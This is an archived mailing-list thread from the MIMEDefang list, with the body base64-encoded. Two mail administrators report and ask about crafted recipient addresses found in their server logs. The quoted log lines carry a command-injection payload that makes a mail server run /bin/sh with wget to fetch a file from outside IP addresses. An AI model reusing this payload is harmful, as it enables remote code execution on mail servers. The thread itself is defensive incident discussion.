Re: Carefully Crafted Recipient executes script?

Paul Murphy <[email protected]> Tue, 25 Jun 2019 21:31:23 +0000
Newsgroups gmane.mail.mimedefang
Message-ID <[email protected]>
SW50ZXJlc3RpbmcgLSBvbiByZXZpZXcgb2YgbXkgbG9ncywgSSBoYWQgb25lIG9mIHRoZXNlIGFi
b3V0IGEgd2VlayBhZ286CgpKdW4gMTkgMTU6MTE6NDYgYmFsZHVyIG1pbWVkZWZhbmcucGxbMjkz
NjRdOiB4NUpFQmtBMjAwMTA5OTogeDVKRUJrQTIwMDEwOTk6IFNQRl9jaGVjayBvbiA0Ni4xMDEu
MTkuMTQwICg8c3VwcG9ydEBzZXJ2aWNlLmNvbT4pIGhlbG8gc2VydmljZS5jb20KSnVuIDE5IDE1
OjExOjQ2IGJhbGR1ciBzZW5kbWFpbFsxMDk5XTogeDVKRUJrQTIwMDEwOTk6IHJ1bGVzZXQ9Y2hl
Y2tfcmNwdCwgYXJnMT08cm9vdCske3J1bntcXHgyRmJpblxceDJGc2hcXHQtY1xcdFxceDIyd2dl
dFxceDIwNjQuNTAuMTgwLjQ1XFx4MmZ0bXBcXHgyZjgyLjcwLjI5LjIwNlxceDIyfX1AUmVhZHk+
LCByZWxheT1bNDYuMTAxLjE5LjE0MF0sIHJlamVjdD01NTAgNS43LjEgPHJvb3QrJHtydW57XFx4
MkZiaW5cXHgyRnNoXFx0LWNcXHRcXHgyMndnZXRcXHgyMDY0LjUwLjE4MC40NVxceDJmdG1wXFx4
MmY4Mi43MC4yOS4yMDZcXHgyMn19QFJlYWR5Pi4uLiBSZWxheWluZyBkZW5pZWQuIElQIG5hbWUg
bG9va3VwIGZhaWxlZCBbNDYuMTAxLjE5LjE0MF0KSnVuIDE5IDE1OjExOjQ2IGJhbGR1ciBzZW5k
bWFpbFsxMDk5XTogeDVKRUJrQTIwMDEwOTk6IFs0Ni4xMDEuMTkuMTQwXTogUG9zc2libGUgU01U
UCBSQ1BUIGZsb29kLCB0aHJvdHRsaW5nLgpKdW4gMTkgMTU6MTE6NDcgYmFsZHVyIHNlbmRtYWls
WzEwOTldOiB4NUpFQmtBMjAwMTA5OTogcnVsZXNldD1jaGVja19yY3B0LCBhcmcxPTxyb290KyR7
cnVue1xceDJGYmluXFx4MkZzaFxcdC1jXFx0XFx4MjJ3Z2V0XFx4MjA2NC41MC4xODAuNDVcXHgy
ZnRtcFxceDJmODIuNzAuMjkuMjA2XFx4MjJ9fUBSZWFkeT4sIHJlbGF5PVs0Ni4xMDEuMTkuMTQw
XSwgcmVqZWN0PTU1MCA1LjcuMSA8cm9vdCske3J1bntcXHgyRmJpblxceDJGc2hcXHQtY1xcdFxc
eDIyd2dldFxceDIwNjQuNTAuMTgwLjQ1XFx4MmZ0bXBcXHgyZjgyLjcwLjI5LjIwNlxceDIyfX1A
UmVhZHk+Li4uIFJlbGF5aW5nIGRlbmllZC4gSVAgbmFtZSBsb29rdXAgZmFpbGVkIFs0Ni4xMDEu
MTkuMTQwXQpKdW4gMTkgMTU6MTE6NDggYmFsZHVyIG1pbWVkZWZhbmcucGxbMjkzNjRdOiB4NUpF
QmtBMjAwMTA5OTogREVCVUc6IENoZWNraW5nIHNlbmRlci9yZWNpcGllbnQgZm9yIGlwPTQ2LjEw
MS4xOS4xNDAsc2VuZGVyPTxzdXBwb3J0QHNlcnZpY2UuY29tPixyZWNpcGllbnQ9PHJvb3QrJHty
dW57XHgyRmJpblx4MkZzaFx0LWNcdFx4MjJ3Z2V0XHgyMDY0LjUwLjE4MC40NVx4MmZ0bXBceDJm
ODIuNzAuMjkuMjA2XHgyMn19QGxvY2FsaG9zdD4sZnVsbHJlY2lwPXJvb3RAbG9jYWxob3N0Ckp1
biAxOSAxNToxMTo0OCBiYWxkdXIgbWltZWRlZmFuZy5wbFsyOTM2NF06IHg1SkVCa0EyMDAxMDk5
OiBNRExPRyx4NUpFQmtBMjAwMTA5OSxiYWRfcmVjaXAsMCw0Ni4xMDEuMTkuMTQwLDxzdXBwb3J0
QHNlcnZpY2UuY29tPiw8cm9vdCske3J1bntceDJGYmluXHgyRnNoXHQtY1x0XHgyMndnZXRceDIw
NjQuNTAuMTgwLjQ1XHgyZnRtcFx4MmY4Mi43MC4yOS4yMDZceDIyfX1AbG9jYWxob3N0Piw/Ckp1
biAxOSAxNToxMTo0OCBiYWxkdXIgbWltZWRlZmFuZy5wbFsyOTM2NF06IHg1SkVCa0EyMDAxMDk5
OiBmaWx0ZXJfcmVjaXBpZW50IHJlamVjdGVkIHJlY2lwaWVudCA8cm9vdCske3J1bntceDJGYmlu
XHgyRnNoXHQtY1x0XHgyMndnZXRceDIwNjQuNTAuMTgwLjQ1XHgyZnRtcFx4MmY4Mi43MC4yOS4y
MDZceDIyfX1AbG9jYWxob3N0PgpKdW4gMTkgMTU6MTE6NDggYmFsZHVyIHNlbmRtYWlsWzEwOTld
OiB4NUpFQmtBMjAwMTA5OTogTWlsdGVyOiB0bz08cm9vdCske3J1bntcXHgyRmJpblxceDJGc2hc
XHQtY1xcdFxceDIyd2dldFxceDIwNjQuNTAuMTgwLjQ1XFx4MmZ0bXBcXHgyZjgyLjcwLjI5LjIw
NlxceDIyfX1AbG9jYWxob3N0PiwgcmVqZWN0PTU1NCA1LjcuMSBJbnZhbGlkIHVzZXIgYWRkcmVz
cyAtIG5vdCBrbm93biBoZXJlCkp1biAxOSAxNToxMTo0OCBiYWxkdXIgc2VuZG1haWxbMTA5OV06
IHg1SkVCa0EyMDAxMDk5OiBmcm9tPTxzdXBwb3J0QHNlcnZpY2UuY29tPiwgc2l6ZT0wLCBjbGFz
cz0wLCBucmNwdHM9MCwgcHJvdG89U01UUCwgZGFlbW9uPU1UQSwgcmVsYXk9WzQ2LjEwMS4xOS4x
NDBdCgpJIGtlZXAgY29waWVzIG9mIHJlamVjdGVkIG1lc3NhZ2VzIGZvciAyIGRheXMgZm9yIGV4
YWN0bHkgdGhpcyBzb3J0IG9mIHJlYXNvbiwgYnV0IHVuZm9ydHVuYXRlbHkgdGhpcyBpcyBsb25n
IGdvbmUuCgpIb3dldmVyLCB0aGUgcmVsYXlpbmcgcmVzdHJpY3Rpb25zIGluIFNlbmRtYWlsIHJl
amVjdGVkIHRoZSBtZXNzYWdlIGV2ZW4gd2hpbGUgTUlNRURlZmFuZyB3YXMgdGhpbmtpbmcgYWJv
dXQgaXQuCgpCZXN0IFdpc2hlcywKClBhdWwuCgotLS0tLU9yaWdpbmFsIE1lc3NhZ2UtLS0tLQpG
cm9tOiBNSU1FRGVmYW5nIFttYWlsdG86bWltZWRlZmFuZy1ib3VuY2VzQGxpc3RzLnJvYXJpbmdw
ZW5ndWluLmNvbV0gT24gQmVoYWxmIE9mIFN0ZWZhbiBTY2hvZW1hbgpTZW50OiAyNSBKdW5lIDIw
MTkgMjE6MjYKVG86IG1pbWVkZWZhbmdAbGlzdHMucm9hcmluZ3Blbmd1aW4uY29tClN1YmplY3Q6
IFtNaW1lZGVmYW5nXSBDYXJlZnVsbHkgQ3JhZnRlZCBSZWNpcGllbnQgZXhlY3V0ZXMgc2NyaXB0
PwoKSG9waW5nIHNvbWVvbmUgY2FuIGFzc2lzdCBtZSB3aXRoIHRoaXMuLi4KCkkganVzdCBjYW1l
IGFjcm9zcyBhbiBlbWFpbCBwcm9jZXNzZWQgYnkgTUlNRURlZmFuZyB0aGF0IHNlZW1zIHRvIGhh
dmUgaGFkIGEgc3BlY2lhbGx5IGNyYWZ0ZWQgcmVjaXBpZW50LiBJdCBzZWVtcyBhcyBpZiB0aGUg
Y3JhZnRlZCByZWNpcGllbnQgbWFuYWdlZCB0byBjb2VyY2UgZWl0aGVyIG15IG1pbWVkZWZhbmct
ZmlsdGVyLCBvciBNSU1FRGVmYW5nIGl0c2VsZiB0byBhY3R1YWxseSBleGVjdXRlIHNjcmlwdC4g
VGhlIHJlY2lwaWVudCB3YXMgcmVjb3JkZWQgYXMgOgoKPHJvb3QrJHtydW57XHgyRmJpblx4MkZz
aFx0LWNcdFx4MjJ3Z2V0XHgyMDY1LjE4MS4xMjAuMTYzXHgyZnN0ZmlucmFjdVx4MjJ9fUBzZXJ2
ZXI+Cgp3aGljaCBsb29rcyBhcyBpZiBpdCB0cmllZCB0byBleGVjdXRlIC9iaW4vc2ggLWMgIndn
ZXQgNjUuMTgxLjEyMC4xNjMvc3RmaW5yYWN1Iiwgd2l0aCBhdCBsZWFzdCBzb21lIHBhcnRpYWwg
c3VjY2VzcywgYmVjYXVzZSB0aGUgLklOUFVUTVNHIGZpbGXCoCByZXN1bHRlZCBpbjoKClJlY2Vp
dmVkOiAxClJlY2VpdmVkOiAyClJlY2VpdmVkOiAzCi4uLgouLi4KUmVjZWl2ZWQ6IDMxCgpBIFNw
YW1hc3Nhc2luIHNjYW4gb2YgdGhpcyBmaWxlLCB0aGVuIHlpZWxkZWQ6CgoxLjIgTUlTU0lOR19I
RUFERVJTwqDCoMKgwqDCoMKgwqAgTWlzc2luZyBUbzogaGVhZGVyCjEuOCBNSVNTSU5HX1NVQkpF
Q1TCoMKgwqDCoMKgwqDCoCBNaXNzaW5nIFN1YmplY3Q6IGhlYWRlcgoyLjMgRU1QVFlfTUVTU0FH
RcKgwqDCoMKgwqDCoMKgwqDCoCBNZXNzYWdlIGFwcGVhcnMgdG8gaGF2ZSBubyB0ZXh0dWFsIHBh
cnRzIGFuZCBubyBTdWJqZWN0OiB0ZXh0CjEuMCBNSVNTSU5HX0ZST03CoMKgwqDCoMKgwqDCoMKg
wqDCoCBNaXNzaW5nIEZyb206IGhlYWRlcgowLjAgTVNHSURfRlJPTV9NVEFfSEVBREVSwqAgTWVz
c2FnZS1JZCB3YXMgYWRkZWQgYnkgYSByZWxheQoxLjQgTUlTU0lOR19EQVRFwqDCoMKgwqDCoMKg
wqDCoMKgwqAgTWlzc2luZyBEYXRlOiBoZWFkZXIKCndoaWNoIHNlZW1zIHRvIGluZGljYXRlIHRo
YXQgdGhpcyBsb3QgaGFwcGVuZWQgYmVmb3JlIFNwYW1Bc3Nhc3NpbiByYW4gaW4gZmlsdGVyX2Vu
ZAoKTXkgbG9nZmlsZSBpbmRpY2F0ZWQgdGhlIGZvbGxvd2luZzoKCkp1biAyNSAyMToyMTo0MSBz
bXRwIHNtLW10YVs0NzQ3XTogeDVQSkxjS1YwMDQ3NDc6IGZyb209PHJvb3RAMjA4LmNvbT4sIHNp
emU9Mzk1LCBjbGFzcz0wLCBucmNwdHM9MSwgbXNnaWQ9PDIwMTkwNjI1MTkyMS54NVBKTGNLVjAw
NDc0N0AtLS0+LApwcm90bz1TTVRQLCBkYWVtb249TVRBLCByZWxheT1taW5lY3JhZnQuZ29vZC1n
YW1pbmcuY29tIFszNC4yMjguNC42OV0gSnVuIDI1IDIxOjIxOjQxIHNtdHAgbWltZWRlZmFuZy5w
bFszNTA1XTogeDVQSkxjS1YwMDQ3NDc6IERFQlVHOiBHZW9JUCBsb29rdXAgb2YgMzQuMjI4LjQu
NjkgaXMgJ1VTJwpKdW4gMjUgMjE6MjE6NDEgc210cCBtaW1lZGVmYW5nLnBsWzM1MDVdOiB4NVBK
TGNLVjAwNDc0NzogREVCVUcgUkVQTFlUTz0sIFNFTkRFUj08cm9vdEAyMDguY29tPiwgRlJPTT0g
SnVuIDI1IDIxOjIxOjQxIHNtdHAgbWltZWRlZmFuZy5wbFszNTA1XTogeDVQSkxjS1YwMDQ3NDc6
IFNwYW1Bc3Nhc3NpbiBSZXN1bHQgOiA3LjcxNSBKdW4gMjUgMjE6MjE6NDEgc210cCBtaW1lZGVm
YW5nLnBsWzM1MDVdOiB4NVBKTGNLVjAwNDc0NzogTWFpbCBTdWJqZWN0IDogCng1UEpMY0tWMDA0
NzQ3IDrCoCA6IDIgOiA3LjcxNSA6IDAuODUxMzYgOiA8cm9vdEAyMDguY29tPiA6IAo8cm9vdCsk
e3J1bntceDJGYmluXHgyRnNoXHQtY1x0XHgyMndnZXRceDIwNjUuMTgxLjEyMC4xNjNceDJmc3Rm
aW5yYWN1XHgyMn19QHNlcnZlcj4KOiAzNC4yMjguNC42OSA6IDM5NQpKdW4gMjUgMjE6MjE6NDEg
c210cCBtaW1lZGVmYW5nLnBsWzM1MDVdOiB4NVBKTGNLVjAwNDc0NzogZmlsdGVyOiBkaXNjYXJk
PTEgSnVuIDI1IDIxOjIxOjQxIHNtdHAgbWltZWRlZmFuZ1sxNzM0MF06IHg1UEpMY0tWMDA0NzQ3
OiBEaXNjYXJkaW5nIGJlY2F1c2UgZmlsdGVyIGluc3RydWN0ZWQgdXMgdG8gSnVuIDI1IDIxOjIx
OjQxIHNtdHAgc20tbXRhWzQ3NDddOiB4NVBKTGNLVjAwNDc0NzogTWlsdGVyOiBkYXRhLCBkaXNj
YXJkIEp1biAyNSAyMToyMTo0MSBzbXRwIHNtLW10YVs0NzQ3XTogeDVQSkxjS1YwMDQ3NDc6IGRp
c2NhcmRlZAoKSSB3b3VsZCB2ZXJ5IG11Y2ggbGlrZSB0byBoZWFyIHRoZSBjb21tdW5pdHkncyBv
cGluaW9uIG9uIHRoaXMgYW5kIGhvdyBJIGNhbiBwcm90ZWN0IGFnYWluc3QgdGhpcz8KClRoYW5r
cyBpbiBhZHZhbmNlIQpTdGVmYW4KCgpfX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19f
X19fX19fX19fX19fXwpOT1RFOiBJZiB0aGVyZSBpcyBhIGRpc2NsYWltZXIgb3Igb3RoZXIgbGVn
YWwgYm9pbGVycGxhdGUgaW4gdGhlIGFib3ZlIG1lc3NhZ2UsIGl0IGlzIE5VTEwgQU5EIFZPSUQu
ICBZb3UgbWF5IGlnbm9yZSBpdC4KClZpc2l0IGh0dHA6Ly93d3cubWltZWRlZmFuZy5vcmcgYW5k
IGh0dHA6Ly93d3cucm9hcmluZ3Blbmd1aW4uY29tIE1JTUVEZWZhbmcgbWFpbGluZyBsaXN0IE1J
TUVEZWZhbmdAbGlzdHMucm9hcmluZ3Blbmd1aW4uY29tCmh0dHA6Ly9saXN0cy5yb2FyaW5ncGVu
Z3Vpbi5jb20vbWFpbG1hbi9saXN0aW5mby9taW1lZGVmYW5nCgpfX19fX19fX19fX19fX19fX19f
X19fX19fX19fX19fX19fX19fX19fX19fX19fXwpOT1RFOiBJZiB0aGVyZSBpcyBhIGRpc2NsYWlt
ZXIgb3Igb3RoZXIgbGVnYWwgYm9pbGVycGxhdGUgaW4gdGhlIGFib3ZlCm1lc3NhZ2UsIGl0IGlz
IE5VTEwgQU5EIFZPSUQuICBZb3UgbWF5IGlnbm9yZSBpdC4KClZpc2l0IGh0dHA6Ly93d3cubWlt
ZWRlZmFuZy5vcmcgYW5kIGh0dHA6Ly93d3cucm9hcmluZ3Blbmd1aW4uY29tCk1JTUVEZWZhbmcg
bWFpbGluZyBsaXN0IE1JTUVEZWZhbmdAbGlzdHMucm9hcmluZ3Blbmd1aW4uY29tCmh0dHA6Ly9s
aXN0cy5yb2FyaW5ncGVuZ3Vpbi5jb20vbWFpbG1hbi9saXN0aW5mby9taW1lZGVmYW5nCg==